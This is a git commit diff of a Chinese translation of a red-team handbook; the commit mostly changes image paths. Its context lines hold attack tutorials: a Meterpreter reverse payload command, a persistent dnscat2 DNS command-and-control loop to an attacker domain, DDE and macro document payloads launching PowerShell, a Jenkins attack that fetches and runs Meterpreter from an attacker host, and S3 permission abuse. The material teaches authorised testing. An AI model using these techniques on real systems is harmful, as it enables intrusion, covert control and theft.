提交 622e44c8 编写于 作者: W wizardforcel

2021-02-14 22:21:01

上级 0fc2a904
......@@ -2,7 +2,7 @@
> 译者:[@Snowming](https://github.com/Snowming04)
![](img/chapter_10/10-1.png)
![](img/10-1.png)
在之前的 THP 书籍中,我们有介绍如何编写渗透测试报告的示例,并提供了大量报告模板。这些示例非常适合那些按部就班的做渗透测试的活动,但是不适合红队的活动。正如本书所述,红队的焦点不是识别漏洞本身(虽然这也是工作的一部分),而是测试人、工具、工作流程和员工的技能组合。如果你的公司被授权的渗透测试者或者未授权的坏人攻击并成功入侵,你会给自己的业绩打几分?我一直反对使用差距评估分数、ISO 分数、成熟度模型分数、标准风险分析、热度图和类似类型的报告来展示公司安全项目的真实状况。
......@@ -18,7 +18,7 @@
在活动期间、记笔记方面,许多工具如 Empire 和 Cobalt Strike 在红队活动期间都有很好的活动日志记录,但这些可能还远远不够。我发现对我们团队的活动非常有用的是,建立一个简单的 Web 服务器来记录红队成员执行的每个操作。记录过程中只收集最基本的信息,其中包括特定的事件、服务器、描述、影响、任何警报和屏幕截图。大多数红队/渗透测试人员都不喜欢做笔记,但这类记录提供了一种简单的跟踪活动的方法。
![](img/chapter_10/10-2.png)
![](img/10-2.png)
一旦活动结束,我们将收集所有笔记并将其组合在一起,以构建一个能讲述故事的红队报告。红队报告的主要组成部分可能包括:
......@@ -28,7 +28,7 @@
- **攻击时间轴**:这是红队行动中最重要的部分之一,做好笔记是有回报的。时间轴应该充分说明所有的主要活动,任何触发警报的 TTP,以及主要的活动。这将允许蓝队比较他们的时间轴和笔记,看看他们错过了什么。在一次真正的攻击中,你有机会询问那些坏人关于他们做的每坏件事吗?这对防守团队来说是非常有利的。一个时间轴示例可能是这样的:
![](img/chapter_10/10-3.png)
![](img/10-3.png)
- **检测时间(TTD)/解决时间(TTM)**:这通常是我们可以使用蓝队报告构建 TTD/TTM 统计数据的地方。我们都想要确定蓝队发现一次多重入侵所需的时间;扫描事件触发调查之前花费的时间(如果调查了的话);以及蓝队需要多长时间来识别网络钓鱼活动。
第二部分应该讨论有关采取行动之前花费的时间的统计数据。如果有已警告的 C2 通信或已识别的网络钓鱼,那么在防火墙或 DNS 服务器上封锁这些域需要花费的时间是多久?我们经常看到公司可能擅长屏蔽域名,但是当 C2 服务器通过 IP 进行通信时会很快失败(反之亦然)。我们希望确保跟踪此活动并帮我们的客户来识别它。另一个很有用的 TTM 衡量标准是他们最快的情况下要花多久来隔离一个已经确认受损的系统。随着恶意软件变得越来越自动化,我们需要开始利用智能化和自动化的流程将系统或网络的一部分与组织的其他部分隔离开来。
......
......@@ -2,7 +2,7 @@
> 译者:[@Snowming](https://github.com/Snowming04)
![](img/chapter_1/1-1.PNG)
![](img/1-1.PNG)
作为红队人员,我们通常不太关注某次攻击的目的(更关注的是攻击手法)。相反,我们想从那些高级威胁组织的 TTP(Tactics、Techniques & Procedures)中学到更多。举个例子,这是一个来自于火眼(FireEye)公司的公开的[威胁情报分析报告](https://www2.fireeye.com/rs/848-DID-2img/rpt-apt29-hammertoss.pdf)。从报告中,我们可以看到:这个威胁组织使用推特作为 C2 服务器,也使用了 github 作为存储加密图片和经过信息隐写文件的仓库。
我们可以参考此报告,根据攻击手法的特点来针对性的做出合适的防御方案,来看你的公司是否能发现并拦截这种攻击。
......@@ -10,14 +10,14 @@
让我们对 APT 攻击做一些基本的介绍。由 MITRE 公司提出的 ATT&CK 矩阵( Adversarial Tactics, Techniques, and Common Knowledge matrix ) 是对 APT 攻击的详细分解。这个矩阵中是一个在各种攻击场景中使用的不同 TTP 的大集合。
商用 ATT&CK 矩阵 - Windows版
![](img/chapter_1/1-2.PNG)
![](img/1-2.PNG)
> 译者注:
>1. 上面的矩阵仅仅包扩适用于 Windows 平台的技术。完整的商用 Enterprise ATT&CK 矩阵也包括适用于 [macOS](https://attack.mitre.org/matrices/enterprise/macos/) 和 [Linux]( https://attack.mitre.org/matrices/enterprise/linux/) 平台的技术。
>2. 矩阵中的内容严格复制自原书。只是因为原书图片分辨率太低,为了读者的阅读体验,特意重新作图。ATT&CK 矩阵至今没有中文翻译,因为译者才疏学浅,不敢献丑翻译,故保留英文。但是需要说明的是,书中列出的矩阵内容,跟 MITRE 公司官网给出的矩阵内容存在差异,可能是因为矩阵被重新修订了。故给出 [Enterprise Matrix - Windows的官网地址](https://attack.mitre.org/matrices/enterprise/windows/) 供读者参考。
另一个资源是 [@cyb3rops](https://twitter.com/cyb3rops) 整理的 [APT组织与方法持续更新列表](http://bit.ly/2GZb8eW)。这个谷歌文件列举了世界多个国家的疑似 APT 组织及其使用的工具集。对于红队成员来说,我们可以参考此文档来模拟不同的攻击。当然,我们可能不会使用与文档中列举的相同的工具,但是我们可以构建类似的工具来做同样的攻击。
![](img/chapter_1/1-16.PNG)
![](img/1-16.PNG)
## 假定攻破练习
......@@ -72,11 +72,11 @@
- cd /pentest
下图显示了所有的可用模块,其中一些模块是我们自己安装的。
![](img/chapter_1/1-3.PNG)<br>
![](img/1-3.PNG)<br>
图: 所有可用模块的列表
如果我们查看我们的攻击者 VPS,就可以看到安装在我们的机器上的所有工具。如果我们想要启动 Metasploit,我们可以输入:*msfconsole*<br>
![](img/chapter_1/1-4.PNG)<br>
![](img/1-4.PNG)<br>
图: 安装在 /pentest 文件夹下的所有工具
我仍然建议建立强大的 IPTables 规则。因为这将是你的攻击服务器,所以最好限制 SSH 身份验证可以从何处发起, Empire/Meterpreter/Cobalt Strike的 payload 可以从何处发起,以及你所支持的任何钓鱼页面。
......@@ -108,7 +108,7 @@ msfvenom -payload windows/x64/meterpreter_reverse_http -format psh -out meterpre
我们甚至可以将混淆提升到新的水平,并使用 [Unicorn](https://github.com/trustedsec/unicorn) 等工具生成更多模糊的基于 PowerShell 的 Meterpreter payload,我们将在本书中详细介绍这些混淆器。
![](img/chapter_1/1-5.PNG)
![](img/1-5.PNG)
此外,使用受信任的机构签发的 SSL/TLS 证书可以帮助我们绕过某些网络中的 IDS(入侵检测系统),具体可以参考以下链接实现:[Meterpreter Paranoid Mode](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode)
......@@ -122,13 +122,13 @@ Cobalt Strike 是迄今为止我最喜欢的红队模拟工具之一。什么是
#### Cobalt Strike 基础设施
正如上文所述,在基础设施方面,我们希望设置这样一个可重用且高度灵活的环境。Cobalt Strike 支持重定向,当你的 Cobalt Strike 使用的 C2 域名被销毁了,你不需要创建并启用一个新的环境,只需要替换一个新的 C2 域名。你可以在这里找到更多的使用 socat 配置这些重定向器的信息:[链接1](http://bit.ly/2qxCbCZ) & [链接2](http://bit.ly/2IUc4Oe)
<img src="img/chapter_1/1-6.PNG" width = "420" height = "270" alt="图片名称" align=center />
<img src="img/1-6.PNG" width = "420" height = "270" alt="图片名称" align=center />
为了使你更好的重定向,我们可以使用域名前置(域名幌子)。域名前置是使用其他的域名和基础设施的技术作为控制器重定向的技术集合([参考链接](http://bit.ly/2GYw55A))。这可以通过使用流行的内容分发网络(CDNs)来实现,如亚马逊云的 CloudFront 或其他的 Google Hosts 来隐蔽我们的流量源。这在过去曾被不同的攻击者所利用过([参考链接](http://bit.ly/2HoCRFi))。
通过使用这些高信誉域名,无论 HTTP 或 HTTPS 的任何流量,看起来都像是它正在与这些域通信,而不是与我们的恶意 C2 服务器通信。这一切是如何运作的?用一个比较抽象的例子来说,你的所有流量将被发送到 CloudFront 的一个主要完全限定域名(FQDNs),例如 a0.awsstatic.com,它是 CloudFront 的主要域名。修改请求中的主机 header 将把所有流量重定向到我们的 CloudFront 分发(CloudFront distribution),后者最终会将流量转发到我们的 Cobalt Strike C2服务器上([参考链接](http://bit.ly/2GYw55A))。
<img src="img/chapter_1/1-7.PNG" width = "400" height = "420" alt="图片名称" align=center />
<img src="img/1-7.PNG" width = "400" height = "420" alt="图片名称" align=center />
通过更改 HTTP 主机的 header,CDN 将很轻松的的的地把流量传输回到正确的服务器。红队一直使用这种技术通过使用高信誉域名来隐藏 C2 服务器的流量。
......@@ -250,7 +250,7 @@ ServerVersion - 将其更改为另一个常见的服务器 Header
execute
```
<img src="img/chapter_1/1-8.PNG" width = "600" height = "380" alt="图片名称" align=center />
<img src="img/1-8.PNG" width = "600" height = "380" alt="图片名称" align=center />
#### 配置 Payload
......@@ -292,7 +292,7 @@ generate
cat /tmp/launcher.bat
```
<img src="img/chapter_1/1-9.PNG" width = "600" height = "200" alt="图片名称" align=center />
<img src="img/1-9.PNG" width = "600" height = "200" alt="图片名称" align=center />
如你所见,创建的 payload 被严重混淆。 你现在可以把这个 .bat 文件丢到任何 Windows 系统上。 当然,你可能会创建一个 Office 宏文件或一个USB橡皮鸭(注:USB RUBBER DUCKY/USB 橡皮鸭是最早的按键注入工具)的 payload,但这只是众多示例中的一个。
......@@ -320,7 +320,7 @@ dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb
在许多安全环境中,直接使用 UDP 或 TCP 出站会受到限制。 为什么不利用基础架构中已经内置的服务呢?许多受保护的网络包含一个 DNS 服务器来解析内部主机,同时还允许解析外部资源。通过为我们拥有的恶意域名设置一个权威服务器,我们可以利用这些 DNS 解析来对我们的恶意软件进行命令执行和控制。
<img src="img/chapter_1/1-10.PNG" width = "500" height = "300" alt="图片名称" align=center />
<img src="img/1-10.PNG" width = "500" height = "300" alt="图片名称" align=center />
在我们的场景中,我们将设置名为 “loca1host.com” 的攻击者域。 我们希望通过对 “localhost” 创建“分身”来更多地隐藏我们的流量。请你自行将 “loca1host.com” 替换为你拥有的域名。我们将配置 loca1host.com 的 DNS 信息,使其成为一个权威 DNS 服务器(Authoritative DNS server)。
在这个例子中,我们将使用 GoDaddy 的 DNS 配置工具,但你也可以换成任何其他的 DNS 服务。
......@@ -340,7 +340,7 @@ ns2 (然后输入你的VPS的IP)
添加 ns2.loca1host.com
```
![](img/chapter_1/1-11.png)
![](img/1-11.png)
如上图所示,我们现在让我们的 NS 记录指向 ns1.loca1host.com 和 ns2.loca1host.com,它们都指向我们的攻击 VPS 服务器的 IP。 如果你尝试解析 loca1host.com 的任何子域(即 vpn.loca1host.com),它将尝试使用我们的 VPS 进行相关的域名解析。对我们来说幸运的是,dnscat2 在 UDP 端口53上监听并为我们做了所有繁重的工作。
......@@ -396,7 +396,7 @@ nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com -s
#### dnscat2的连接
在我们的 payload 执行并连接回我们的攻击服务器之后,我们应该看到类似于下面的一个新的`ENCRYPTED AND VERIFIED`消息。通过输入 “window”,dnscat2 将显示所有会话。现在,我们有一个名为“1”的单行命令会话。
![](img/chapter_1/1-12.png)
![](img/1-12.png)
我们可以通过与我们的命令会话交互来生成终端样式 shell:
- 与我们的第一个命令会话进行交互
......@@ -417,7 +417,7 @@ window -i 2
```
- 现在,你应该能够运行所有 shell 命令(例如 ls)
![](img/chapter_1/1-13.png)
![](img/1-13.png)
虽然这不是最快的shell,但由于所有通信都是通过 DNS 进行的,因此它确实可以在一些 Meterpreter 或类似 shell 无法正常工作的情境下生效。 dnscat2 更好的地方是它完全支持搭建隧道。这样,如果我们想要使用来自我们的主机系统的漏洞利用模块,我们可以通过隧道和浏览器来访问其内部网站,甚至是 SSH 连接到另外的机器中,这一切都是可能的。
......@@ -430,10 +430,10 @@ listen 127.0.0.1:9999 10.100.100.1:22
创建隧道后,我们可以返回攻击计算机上的根终端窗口,通过本地的 9999 端口使用 SSH 连接到 localhost,然后成功连接到受害者网络上的内部系统并进行身份验证。
> 译者注:这里如果看不懂,可以看看这篇文章加深理解 -> [使用SSH反向隧道进行内网穿透](http://arondight.me/2016/02/17/%E4%BD%BF%E7%94%A8SSH%E5%8F%8D%E5%90%91%E9%9A%A7%E9%81%93%E8%BF%9B%E8%A1%8C%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/)
![](img/chapter_1/1-14.png)
![](img/1-14.png)
这将提供各种各样的乐趣和一个很好的测试,来看你的客户的网络是否可以主动检测大量 DNS 查询和溢出。那么,请求和响应是什么样子的呢? 使用 Wireshark 快速抓包发现:dnscat2 为许多不同的长子域创建了大量不同的 DNS 请求。
![](img/chapter_1/1-15.png)
![](img/1-15.png)
现在,你可能想要测试许多其他的协议。例如,Nishang 有一个基于 PowerShell 的 ICMP Shell( http://bit.ly/2GXhdnZ ),它使用 https://github.com/inquisb/icmpsh 作为 C2 服务器。 还有其他 ICMP shell,如:
- https://github.com/jamesbarlow/icmptunnel
......
......@@ -2,7 +2,7 @@
> 译者:[@Snowming](https://github.com/Snowming04)
![](img/chapter_2/2-1.PNG)
![](img/2-1.PNG)
在 The Hacking Playbook 2 中,前面的发球部分重点介绍了一些不同的工具,如 Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP Screenshot、漏洞扫描器(包括 nessus,openvas)、Burp 套件等。这些工具我们可以在外网或内网络使用,对目标的基础设施进行侦察或扫描。在本书中我们将延续这一做法,然后从红队的角度对侦察阶段进行拓展。
......@@ -27,7 +27,7 @@
这是一个非常简单的脚本,它每天用默认的端口运行 nmap,然后使用 ndiff 比较结果。然后,我们可以获取这个脚本的输出结果,并让它把每天发现的新端口及时通知我们的团队。<br>
<img src="img/chapter_2/2-2.PNG" width = "500" height = "200" alt="图片名称" align=center />
<img src="img/2-2.PNG" width = "500" height = "200" alt="图片名称" align=center />
在上一本书中,我们着重讨论了 [Masscan](https://github.com/robertdavidgraham/masscan) 的好处,以及它比 nmap 的速度快多少。Masscan 的开发者说,如果你的网络带宽足够大,你可以在6分钟内扫描完毕整个互联网。所以说,当扫描大的范围时,Masscan 是很可靠的。Masscan 对我们最初的侦察很有用,但通常不用于比较差异。
......@@ -55,7 +55,7 @@
- ./masshttp.sh
- firefox clusters.html
<img src="img/chapter_2/2-3.PNG" width = "400" height = "300" alt="图片名称" align=center />
<img src="img/2-3.PNG" width = "400" height = "300" alt="图片名称" align=center />
另一个可以用到的工具是 [Eyewitness](https://github.com/ChrisTruncer/EyeWitness)
......@@ -66,7 +66,7 @@ Eyewitness 是另一个很好的工具,它用 XML 文件的方式输出 nmap
>- cd /opt/EyeWitness
>- nmap [IP Range]/24 —open -p 80,443 -oX scan.xml
>- python ./EyeWitness.py -x scan.xml —web
><img src="img/chapter_2/2-4.PNG" width = "400" height = "400" alt="图片名称" align=center />
><img src="img/2-4.PNG" width = "400" height = "400" alt="图片名称" align=center />
### 云扫描
随着越来越多的公司转向使用不同的云基础设施,一些围绕云服务的新型攻击和传统攻击逐渐形成。这通常是由于公司错误的配置和缺乏对云基础设施上公共条款的确切了解。无论是选择亚马逊 EC2、Azure、谷歌云还是其他云服务提供商,使用不同的云基础设施都已成为一种全球趋势。
......@@ -109,7 +109,7 @@ Censys 的最佳特性之一是它从 SSL 证书中提取信息。通常,红
这些扫描的一个问题是它们可能会延迟几天或几周。在这种情况下,需要用一天的时间来扫描标题信息。另外,在我的站点上创建 SSL 证书之后,信息在 Censys.io 站点上显示花费了四天时间。但是在数据准确性方面,Censys.io 相当可靠。
下面,我们通过扫描找到目标网站 cyberspacekittens.com 的信息。通过解析服务器的 SSL 证书,我们能够确定受害者的服务器托管在 AWS 上。<br>
<img src="img/chapter_2/2-5.PNG" width = "500" height = "300" alt="图片名称" align=center /><br>
<img src="img/2-5.PNG" width = "500" height = "300" alt="图片名称" align=center /><br>
还有一个 [Censys脚本工具](https://github.com/christophetd/censys-subdomain-finder),可以通过脚本的方式来进行查询。
......@@ -124,9 +124,9 @@ Censys 的最佳特性之一是它从 SSL 证书中提取信息。通常,红
- cd /opt/sslScrape
- python ./sslScrape.py [IP 地址 CIDR 范围]
<img src="img/chapter_2/2-6.PNG" width = "430" height = "300" alt="图片名称" align=center /><br>
<img src="img/2-6.PNG" width = "430" height = "300" alt="图片名称" align=center /><br>
<img src="img/chapter_2/2-7.PNG" width = "350" height = "450" alt="图片名称" align=center /><br>
<img src="img/2-7.PNG" width = "350" height = "450" alt="图片名称" align=center /><br>
云 IP 地址的例子:
- Amazon: http://bit.ly/2vUSjED
......@@ -233,7 +233,7 @@ Truffle Hog工具会扫描不同的提交历史记录和分支来获取高机密
- cd /opt/trufflehog/truffleHog
- python truffleHog.py https://github.com/cyberspacekittens/dnscat2
![](img/chapter_2/2-8.PNG)
![](img/2-8.PNG)
正如我们在 commit 历史记录中看到的,AWS 密钥和 SSH 密钥被从 server/controller/csk.config 文件中删除了。但是如果查看[当前仓库](https://github.com/cheetz/dnscat2/tree/master/server/controller),你找不到这个文件。
......@@ -271,7 +271,7 @@ docker cp <container-id>:/data/results.txt ./results.txt
- ./slurp domain -t cyberspacekittens.com
- ./slurp keyword -t cyberspacekittens
![](img/chapter_2/2-9.PNG)
![](img/2-9.PNG)
#### Bucket Finder
另一个工具 Bucket Finder 不仅会尝试查找不同的 bucket,还会从这些 bucket 中下载所有的内容进行分析:
......@@ -280,11 +280,11 @@ docker cp <container-id>:/data/results.txt ./results.txt
- cd /opt/bucket_finder
- ./bucket_finder.rb —region us my_words —download
![](img/chapter_2/2-10.PNG)
![](img/2-10.PNG)
你一直在基于 Cyber Space Kittens 的基础设施进行搜寻,并发现了他们的一个 S3 bucket( cyberspacekittens.s3.amazonaws.com )。在 S3 bucket 中检索可见的和不可见的内容时,你的第一步要做什么呢?你可以首先把它弹到浏览器中来看一些信息:
![](img/chapter_2/2-11.PNG)
![](img/2-11.PNG)
在开始之前,我们需要创建一个 AWS 帐户来获得一个访问密钥 ID。你可以在 Amazon [免费创建你的帐户](https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/)。创建帐户后,登录 AWS,转到你的[安全凭据](https://amzn.to/2ItaySR),然后转到访问密钥。一旦你有了 AWS Access ID 和密钥,我们就可以查询 S3 bucket 了。
......@@ -308,7 +308,7 @@ echo “test” > test.txt
aws s3 mv test.txt s3://cyberspacekittens
aws s3 ls s3://cyberspacekittens
```
![](img/chapter_2/2-12.PNG)
![](img/2-12.PNG)
*注意,write 已被从 Everyone 组中删除。这只是为了示范。*
......@@ -322,7 +322,7 @@ aws s3 ls s3://cyberspacekittens
接下来,我们看看是否可以修改这些 bucket 本身。这可以通过以下命令来完成:
- aws s3api get-bucket-acl —bucket cyberspacekittens
![](img/chapter_2/2-13.PNG)
![](img/2-13.PNG)
同样,在这两种情况下,读权限都是全局允许的,但是完全控制或任何写入的权限只有名为 “secure” 的帐户才有。如果我们可以进入 bucket,那么我们可以使用`—grant-full-control`来赋予我们自己对 bucket 和对象的完全控制权限。
......@@ -368,7 +368,7 @@ cd /opt/tko-subs/
这可能需要很长时间来运行,因为它检查 Bing、Yahoo、Google、Ask Search、PGP 仓库、文件等等。这也可能让你的网络被搜索引擎们识别成机器人。并且如果你产生了太多的搜索请求,那么可能需要填写验证码。
![](img/chapter_2/2-14.PNG)
![](img/2-14.PNG)
针对你自己的公司进行此操作。你看到任何你可以识别的 email 地址了吗?这可能是可以在一个大规模红队活动中被设为靶子的第一个 email 地址。
......
......@@ -2,7 +2,7 @@
> 译者:[@Snowming](https://github.com/Snowming04)
![](img/chapter_5/5-1.png)
![](img/5-1.png)
## 开始社会工程学攻击行动
作为红队队员,我们钟爱社会工程学攻击。不仅因为它通常包含低技能攻击,而且因为它也很容易以非常低的成本来策划一场值得我们高度信赖的战役。只需设置几个假域名、服务器、策划一些电子邮件、假装丢掉一些 bad USB,然后就可以结束一天的工作了。
......@@ -62,7 +62,7 @@ Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社
如下图所示,我们现在应该有一个经过身份验证了的会话来绕过双因素验证。虽然 ReelPuish 看起来很像是支持 Linux ,但我在 Kali 中运行它时遇到了一些问题。所以最好是在 Windows 中运行 ReelPuish。你可以在 FireEye 公司的网站上找到更多关于 ReelPhish 的信息: https://www.fireeye.com/blog/threat-research/2018/02/reelphish-real-time-two-factor-phishing-tool.html 。
![](img/chapter_5/5-2.png)
![](img/5-2.png)
还有一些其他工具可以处理不同的双因素验证绕过的情境:
- https://github.com/kgretzky/evilginx
......@@ -104,27 +104,27 @@ Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社
一旦生成成功,你的 payload 将如下所示:
![](img/chapter_5/5-3.png)
![](img/5-3.png)
如你所见,这是运行一个简单的 PowerShell base64 混淆脚本。这可以帮助解决绕过一些杀毒软件,但重要的是要确保在进行实时入侵操作之前对其进行测试。生成宏后,你可以快速创建一个 Excel 文档:
- 打开 Excel
- 转到视图选项卡(View Tab) - >宏 - >查看宏
- 添加一个宏名称,为 book1 配置宏,然后单击 “创建”
![](img/chapter_5/5-4.png)
![](img/5-4.png)
- 用生成的代码替换所有当前的宏代码
- 另存为 .xls(Word 97-2003)或 Excel Macro-Enabled 格式的文件
![](img/chapter_5/5-5.png)
![](img/5-5.png)
现在,每当有人打开你的文档时,他们都会收到安全警告并看到一个启用内容的按钮。 如果你可以诱导受害者点击“启用内容”的按钮,那么你的 PowerShell 脚本将会被执行,这会弹给你一个 Empire Shell 。
![](img/chapter_5/5-6.png)
![](img/5-6.png)
如前所述,宏文件方法是一种久经考验的旧方法,因此很多受害者已经对这种攻击有了一定的认识。利用 Office 文件的另一种思路是将我们的 payload 嵌入一个批处理文件(.bat)。但在较新版本的 Office 中,如果受害者双击 Word 文档中的 .bat 文件,对象则不会被执行。我们通常不得不试图诱导受害者使其将 .bat 文件移动到桌面并执行。
![](img/chapter_5/5-7.png)
![](img/5-7.png)
我们可以用 [LuckyStrike](https://github.com/curi0usJack/luckystrike) 来以更自动化的方式完成此操作。通过使用 LuckyStrike,我们可以在工作表中使用 Payload 创建 Excel 文档,甚至可以在 Excel 文档中存储完整的可执行文件(exe),这些文件可以用 ReflectivePE 来触发从而在内存中运行。阅读更多关于 LuckyStrike 的内容:
- https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator
......@@ -133,7 +133,7 @@ Engineering Toolkit,简称 SET)。这是任何需要获取身份凭证的社
VBad 会严重混淆 MS Office 文档中的 payload。它还增加了加密功能,用假密钥来迷惑应急响应团队。最重要的是,它可以在第一次成功运行后销毁加密密钥(VBad 是一个一次性使用的恶意软件)。另一个特性是 VBad 也可以销毁对包含有效 payload 的模块的引用,以使其从 VBA 开发者工具中不可见。这使得分析和排除故障变得更加困难。因此,不仅很难去逆向,而且如果应急响应团队尝试分析执行的 Word 文档与原始文档,则所有密钥都将丢失。
![](img/chapter_5/5-8.png)
![](img/5-8.png)
### 非宏的 Office 文件 —— DDE
有时候红队攻击也是一场与时间赛跑的游戏,虽然有些可以利用的易受攻击模块效果很好,但是如果时间久了,一些杀毒软件或者安全软件已经包含了检测的策略,那么也很难利用,所以有时候一些新发现的漏洞是更好利用的。在我们的一次评估中,首次公布了一个名为 DDE 的全新易受攻击模块。杀毒软件或任何安全产品还尚未检测到它,因此这是获得我们初始入口点的好方法。 虽然现在有几种安全产品可以检测 DDE ,但在某些环境中它仍然可能是一种可行的攻击。
......@@ -151,13 +151,13 @@ Sensepost 的团队做了一些很棒的研究,发现 MSExcel 和 MSWord 都
DDEAUTO c:\windows\system32\cmd.exe “/k powershell.exe [empire payload here]”
```
![](img/chapter_5/5-9.png)
![](img/5-9.png)
Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell 脚本。 此 stager 可以通过以下方式配置:
- usestager windows/macroless_msword
![](img/chapter_5/5-10.png)
![](img/5-10.png)
资源:
- https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
......@@ -171,7 +171,7 @@ Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell
- cd /op/EmbedInHTML
- python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w
![](img/chapter_5/5-11.png)
![](img/5-11.png)
一旦受害者访问恶意站点,弹出的窗口会提示受害者在 Excel 中打开我们的`.xll`文件。不幸的是,对于最新版本的 Excel(除非配置错误),用户需要启用加载项来执行我们的 payload 。这就需要使用你在前面学到的社会工程学技巧了。
......@@ -181,7 +181,7 @@ Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell
## 利用社会工程学攻破内网 Jenkins
作为红队队员,攻击的创造性使我们的工作非常令人兴奋。我们喜欢利用旧的漏洞利用并再次使它们焕然一新。例如,如果你一直在进行网络评估,你就会知道,如果遇到未经身份验证的 Jenkins 应用程序(开发人员大量使用它进行持续集成),这几乎意味着它完全敞开在你的面前。这是因为 Jenkins 具有允许 Groovy 脚本执行测试的 “特性”。利用这个脚本控制台,我们可以使用允许 shell 访问底层系统的执行命令。
![](img/chapter_5/5-12.png)
![](img/5-12.png)
这种方法在入侵方面变得如此受欢迎的原因是几乎每家大公司都有一些 Jenkins 实例。如果想要从外部进行攻击,就会存在一个问题:这些 Jenkins 服务都是内部托管的,无法从外部访问。
......@@ -201,7 +201,7 @@ Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell
- 在这种情况下,我们下载的加密可执行文件是 Meterpreter payload。
- Meterpreter 在 Jenkins 服务器上执行,然后连接到我们的攻击者 Meterpreter 服务器。
![](img/chapter_5/5-13.png)
![](img/5-13.png)
*注意:最新版本的 Jenkins 中不存在此漏洞。 2.x 之前的版本在默认情况下是易受攻击的,因为它们未启用 CSRF 保护(允许对脚本进行无验证调用),并且未启用身份验证。*
......@@ -242,11 +242,11 @@ mv badware.html /var/www/html/
mv badware.exe.encrypted /var/www/html/
```
![](img/chapter_5/5-14.png)
![](img/5-14.png)
现在,在完全不同的系统上,你可以使用 Chrome 或 Firefox 浏览器访问你的攻击者网页:http://<attacker_IP>/badware.html 。只需访问该恶意页面,你的浏览器就会通过我们的 Groovy payload,使用 JavaScript 和 POST 请求对你的内部 /24 网络经由8080端口进行攻击。当它找到一个 Jenkins 服务器时,它将导致该服务器下载我们的加密 Meterpreter ,解密并执行它。在公司网络中,你最终可能会得到大量不同的 shell 。
![](img/chapter_5/5-15.png)
![](img/5-15.png)
任何允许通过 GET 或 POST HTTP 方法进行未经身份验证的代码执行的场景都可以使用此种攻击手法。对于此类攻击,你需要确定受害者在内部使用哪些应用程序并制定你的恶意攻击。
......
......@@ -2,7 +2,7 @@
> 译者:[@Snowming](https://github.com/Snowming04)
![](img/chapter_6/6-1.png)
![](img/6-1.png)
作为安全评估的一部分,CSK 要求你的团队对基础设施进行物理评估。这就需要检查他们的门和安保设施是否合格。在得到了授权的前提下可以进行现场测试,以确定他们警卫的反应和响应时间。
......@@ -16,7 +16,7 @@
上一版书里,我提到了我很喜欢复制 ProxCard Ⅱ 卡,因为它们没有任何保护措施,所以易于克隆。并且 ProxCard Ⅱ 卡一般都可以成批购买,用来暴力破解,简直再方便不过。破解的过程都是基于 Proxmark3 工具完成的。现在,它发布了一个主打便携的新型号,叫 [Proxmark3 RDV2 Kit](http://hackerwarehouse.com/product/proxmark3-rdv2-kit/)。新版的可插电池用,并且体积也小巧很多。
![](img/chapter_6/6-2.png)
![](img/6-2.png)
还有一些常见的可供破解的卡:
- HID iClass (13.56 MHz)
......@@ -53,9 +53,9 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络
是这样的,因为 LAN Turtle 会被插入入侵目标组织内网中的某个台式机的后面,所以我们不能直接连接到它。因此,我们将让 LAN Turtle 首先通过端口 443 外连到 VPN,然后作为服务器返回到我们的 OpenVPN 。从我们用来做攻击的 Kali 机器中,我们也必须登录进 VPN 服务器。一旦 LAN Turtle 和我们的攻击者机器都通过VPN 连接到我们的服务器中,我们就可以把流量从 LAN Turtle 转发到攻击机器来进行扫描或漏洞利用。
![](img/chapter_6/6-3.png)
![](img/6-3.png)
![](img/chapter_6/6-4.png)
![](img/6-4.png)
虽然 OpenVPN 反向代理通道不是什么新技术,但 Hak5 的团队在整合教程方面做得非常好。我不得不修改了以下一些命令,如果你想了解更多,请观看他们的 YouTube 视频:https://www.youtube.com/watch?v=b7qr0laM8kA 。
......@@ -118,7 +118,7 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络
* 所有服务端私有子网
* 所有其他的 VPN 客户端
![](img/chapter_6/6-5.png)
![](img/6-5.png)
下载 OpenVPN 配置文件:
* 连接下载配置文件:
......@@ -129,7 +129,7 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络
设置 LAN Turtle 和初始配置:
![](img/chapter_6/6-6.png)
![](img/6-6.png)
* 插入 USB 并且自动连入网络
* nmap 扫描本地 22 端口
......@@ -178,11 +178,11 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络
* 保存并更新
* 通过 LAN Turtle 上的 SSH 连接,使用 `reboot` 命令重启
![](img/chapter_6/6-7.png)
![](img/6-7.png)
现在,我们可以让攻击机透过在 LAN Turtle 上架设的 VPN 通道,将我们的所有流量传输到受害者公司内网。在下图中,我们登录进入 VPN 服务器,扫描 LAN Turtle 的范围为 10.100.100.0/24 的内部网络。我们可以看到,我们已经成功地配置了从 VPN 网关通过 LAN Turtle 到公司网络的路由传输。现在,在 Kali 攻击机上面,可以运行完整的漏洞扫描、网络抓取、Masscans 扫描甚至更多其他操作。
![](img/chapter_6/6-8.png)
![](img/6-8.png)
好的!现在你有了一个快速插入的设备,它让你与受害者网络保持全局连接。为了做的更好,还可以完善一下:
* 设置一个每天重启设备的定时任务。VPN 隧道连接可能会断开,但每当 LAN Turtle 重新启动时,VPN 连接会重新启动。
......@@ -192,7 +192,7 @@ LAN Turtle 的目的是取代 dropbox(一款可以同步本地文件的网络
## Packet Squirrel
Packet Squirrel 使用 Micro-USB 接口充电,但是并非是通过 USB 接口那一端插入有线 USB 网卡,Packet Squirrel 两端都接网线,这是另一种捕获流量或创建 VPN 连接的方式。
![](img/chapter_6/6-9.png)
![](img/6-9.png)
配置 Packet Squirrel 的方法和 LAN Turtle 差不多;
* 编辑 /root/payloads/switch3/payload.sh
